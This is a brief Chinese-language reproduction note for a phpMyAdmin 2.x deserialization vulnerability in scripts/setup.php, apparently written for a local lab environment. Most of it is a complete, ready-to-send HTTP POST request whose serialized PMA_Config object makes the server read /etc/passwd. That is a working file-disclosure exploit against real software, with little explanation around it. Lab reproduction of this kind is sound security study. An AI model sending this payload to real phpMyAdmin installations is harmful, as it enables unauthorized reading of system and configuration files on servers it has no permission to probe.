phpmyadmin Scripts/setup.php 反序列化漏洞 (WooYun-2016-199433)

受影响的版本：2.x

漏洞复现

访问http://192.168.44.132:8080，您将看到 phpmyadmin 主页。因为没有连接到数据库，我们会得到一个错误。但是这个漏洞与数据库无关，所以直接忽略。

发送以下包可读取/etc/passwd：

POST /scripts/setup.php HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}